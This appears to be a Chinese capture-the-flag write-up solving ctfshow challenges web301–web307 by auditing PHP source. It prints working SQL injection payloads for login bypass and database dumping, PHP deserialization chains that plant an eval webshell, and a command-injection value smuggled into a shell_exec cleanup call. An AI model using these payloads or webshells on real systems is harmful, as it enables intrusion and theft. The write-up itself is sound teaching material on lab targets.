最近从新看了看一部分代码审计,题目环境是ctfshow的web301——web307,后续还会更新其他代码审计的。
这是题目提供所需源码,里面有我自己的一些注释和每个题的WP(当然这篇文章里也都包括了)有需要的师傅可以自取一下:
夸克网盘分享pan.quark.cn/s/c503ebae3786
Web301
打开题目环境发现是登陆框

弱口令登录后发现没用,然后我们看一下题目给的代码:
先获取数据并进行数据库查询
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";//获取用户id和密码
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];//赋值
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";//拼接查询语句用于后续进数据库进行查询
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);//查询并获得返回值
上面SQL语句我们可以知道他的查询结果返回的是password。
然后又进行了结果判断:
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}//没有用户不登陆
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}//strcasecmp查询匹配成功返回0,"!"取反返回1判断成功跳转到index.php
$_SESSION['error']="1";
header("location:login.php");
//不成功不跳转
登录框的SQL注入和查询的不同点在于它可以伪造用户数据验证进行绕过登陆检测。
也就是说判断语句并没有检测是否是数据库中的真实数据,我们只需要结合上一步的查询语句用union伪造一个结果即可:
WP:
账号:-1' union select 'QR'#
密码:QR

点击登录

成功
Web302
和上一个一样,都是输入框

看半天这个题提供的用来审计的代码没啥变化,但是实际环境的代码改了...
(题目描述里有提示)

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}//这次的判断条件加了sds_decode编码
Ctrl+f查看一下sds_decode,发现在fun.php里

我们把fun.php复制下来跑一下自己的password然后构造payload:
<?php
$str='QR';
echo md5(md5($str.md5(base64_encode("sds")))."sds");
?>
//输出:56b738941ae5f08af2a561b60d455dfc
WP
账号:-1' union select '56b738941ae5f08af2a561b60d455dfc'#
密码:QR

点击登录

完成
Web303
打开题目环境,用上次的办法没成功,我们看一下源代码:
if(strlen($username)>6){
die();
}
看到多了一行对长度的判断,那么我们就不好伪造用户或者进行挂马等别的操作了
那我们再看看其他代码
<?php
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("admin");
?>
我们看到源代码fun.php里多了echo sds_decode("admin");猜测一下弱口令admin—admin

登陆成功,但是没有flag?
挨个点一下左边的任务栏看看功能点:
发现只有一个是可用的,其余功能代码都给删光了

我们点击新增,可以看到功能点可以利用:

我们看一下源码,这里作者很贴心的给了注释:
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
然后我们可以看到加入数据的SQL语句
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
查询和添加等SQL注入都可以尝试通过闭合、注释(#)后面内容等方式实现其他信息的查询
用抓包工具看一下传输数据(这里用的Yakit):

可以看到下面的POST传输的数据,我们尝试一下闭合语句添加后挨个看结果,然后写下一步查询
WP
(select group_concat(schema_name)from(information_schema.schemata))#
dpt_name=1',sds_address=(select group_concat(schema_name)from(information_schema.schemata))#&dpt_address=1&dpt_build_year=2025-09-03&dpt_has_cert=on&dpt_cert_number=1&dpt_telephone_number=1
// information_schema,test,mysql,performance_schema,sds
(select group_concat(table_name)from(information_schema.tables)where(table_schema)=('sds'))#
dpt_name=1',sds_address=(select group_concat(table_name)from(information_schema.tables)where(table_schema)=('sds'))#&dpt_address=1&dpt_build_year=2025-09-03&dpt_has_cert=on&dpt_cert_number=1&dpt_telephone_number=1
//sds_dpt,sds_fl9g,sds_user
(select group_concat(column_name)from(information_schema.columns)where(table_schema)=('sds')and(table_name)=('sds_fl9g'))#
dpt_name=1',sds_address=(select group_concat(column_name)from(information_schema.columns)where(table_schema)=('sds')and(table_name)=('sds_fl9g'))#&dpt_address=1&dpt_build_year=2025-09-03&dpt_has_cert=on&dpt_cert_number=1&dpt_telephone_number=1
//flag
(select group_concat(flag)from(sds_fl9g))#
dpt_name=1',sds_address=(select group_concat(flag)from(sds_fl9g))#&dpt_address=1&dpt_build_year=2025-09-03&dpt_has_cert=on&dpt_cert_number=1&dpt_telephone_number=1
//ctfshow{7ed34c66-e3df-4cd1-ad96-3b592a22ce55}


完成
Web304
说是添加了全局waf,但是没用,直接用上一个方法就可以了,但是注意他换了个库
WP:
dpt_name=1',sds_address=(select group_concat(flag)from(sds_flaag))#&dpt_address=1&dpt_build_year=2025-09-03&dpt_has_cert=on&dpt_cert_number=1&dpt_telephone_number=1

Web305
按照之前的思路上传payload失败了,查看源代码,发现这次的waf生效了,不能直接插入记录查询了。
但是我们发现有一个class.php的新代码:
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __destruct(){
file_put_contents($this->username, $this->password);
}
}
我们看到file_put_contents ()函数,它可以写入文件,我们可以利用它挂马。
Ctrl+f查找发现checklog.php文件引用了它,并且有一个反序列化:
$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
$user = unserialize($user_cookie);
}
那我们先序列化一下木马文件
<?php
class user{
public $username='shell.php';
public $password='<?php eval($_POST["QR"])?>';
}
echo urlencode(serialize(new user()));
?>
然后抓包上传payload:

然后我们蚁剑链接一句话木马(这里连接不上可以把https改成http)

在/tmp下看到flag,sh,看看里面写的啥:

#!/bin/bash
#sed -i "s/flag_here/$FLAG/" /var/www/html/flag.php
mysql -e "DROP DATABASE IF EXISTS ctftraining; CREATE DATABASE IF NOT EXISTS sds;USE sds;CREATE TABLE \`sds_flabag\` (\`flag\` varchar(255) DEFAULT NULL) ENGINE=InnoDB DEFAULT CHARSET=utf8;INSERT INTO \`sds_flabag\` VALUES ('$FLAG');" -uroot -proot
export FLAG=not_flag
FLAG=not_flag
rm -f /flag.sh
可以看到里面有一个-uroot -proot,应该是账号密码,我们返回去右键点击”数据操作”

如下图依次点击添加数据库

找到flag所在字段执行得到flag

完成
Web306
拿到源码,我们先看一下class.php
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
}
看到有个log的类,里面有file_put_contents(),这是在close方法里的
所以我们找一下close(),在dao.php里
class dao{
private $config;
private $conn;
public function __construct(){
$this->config=new config();
$this->init();
}
private function init(){
$this->conn=new mysqli($this->config->get_mysql_host(),$this->config->get_mysql_username(),$this->config->get_mysql_password(),$this->config->get_mysql_db());
}
public function __destruct(){
$this->conn->close();
}
这里的close跟conn有关,那我们就可以直接构造序列化对象
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));
我们先看到哪里运用了dao.php,是在index.php里
$user = unserialize(base64_decode($_COOKIE['user']));
可以看到这里多了base64加密,所以我们也记得加密一下序列化对象
WP
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='shell.php';
public $info='<?php eval($_POST["QY"]);?>';
}
echo base64_encode(serialize(new dao()));
?>
//TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo5OiJzaGVsbC5waHAiO3M6NDoiaW5mbyI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbIlFZIl0pPz4iO319
直接连接蚁剑就能看到flag.php

完成
Web307
打开源码,看一下可利用函数
看到class里还是有一个file_put_contents()
public function closelog(){
file_put_contents($this->title, $this->info);
}
但是没有找到closelog的利用点,然后我们看到dao.php里有shell_exec()可以进行命令执行。但是需要闭合使用
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
Ctrl+f找一下发现service.php里有调用这个函数
public function clearCache(){
$this->dao->clearCache();
}
然后看到logout.php调用了service.php并且使用了这个函数
require 'service/service.php';
unset($_SESSION['login']);
unset($_SESSION['error']);
setcookie('user','',0,'/');
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
所以构造一下序列化对象
WP
<?php
class config{
public $cache_dir = ';echo "<?php eval(\$_POST[QY]);?>" >a.php;';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
?>
//TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDc6IjtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUW1FZXSk7Pz4iID5zaGVsbC5waHA7Ijt9fQ==
点击退出按钮上传service:


上传之后我们可以看一下目录结构,logout是在controller里的,所以我们传的shell.php路径应该是:
http://6a088c55-11f6-4a70-a0ad-8b5a6b2e1627.challenge.ctf.show/controller/shell.php

连接蚁剑

我们可以看到我们上传的shell文件

找到flag.php


完成
感谢观看,有兴趣的话可以点个关注,感谢各位支持~
719

被折叠的 条评论
为什么被折叠?



